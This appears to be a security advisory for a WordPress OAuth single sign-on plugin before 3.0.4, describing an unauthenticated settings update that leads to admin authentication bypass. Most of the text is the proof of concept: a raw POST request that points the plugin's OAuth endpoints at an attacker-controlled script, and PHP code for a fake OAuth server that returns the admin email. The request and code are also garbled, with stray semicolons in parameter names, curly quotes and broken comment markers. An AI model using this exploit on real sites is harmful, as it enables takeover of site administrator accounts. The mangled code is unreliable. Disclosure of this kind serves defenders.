OAuth client Single Sign On for WordPress < 3.0.4 - Unauthenticated Settings Update to Authentication Bypass

The plugin does not have authorisation and CSRF when updating its settings, which could allow unauthenticated attackers to update them and change the OAuth endpoints to ones they controls, allowing them to then be authenticated as admin if they know the correct email address

PoC

POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=oauthconfig&OAuthConfig;_nonce=-&oauthservers;=Custom_OAuth&client;_id=-&client;_secret=-&rquest;_in_body=1&client;_authorization=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fauth%3D1&client;_token_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Ftoken%3D1&client;_userinfo_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fresource%3D1 With exploit.php controlled by the attacker with /** auth endpoint / if ( isset( $_GET[‘auth’] ) ) { if ( isset( $_GET[‘response_type’] ) ) { if ( ‘code’ == $_GET[‘response_type’] ) { header( 'Location: ’ . $_GET[‘redirect_uri’] . ‘/?’ . http_build_query( array( ‘code’ => ‘-’, //can be anything, just don’t be empty ) ) ); exit; } } } /* token endpoint / if ( isset( $_GET[‘token’] ) ) { if ( isset( $_POST[‘grant_type’] ) ) { echo json_encode( array( ‘access_token’ => ‘-’, //can be anything, just don’t be empty ) ); exit; } } /* resource endpoint */ if ( isset( $_GET[‘resource’] ) ) { echo json_encode( array( ‘email’ => ‘admin@localhost’, ‘user_login’ => ‘-’, //can be anything, just don’t be empty ) ); exit; }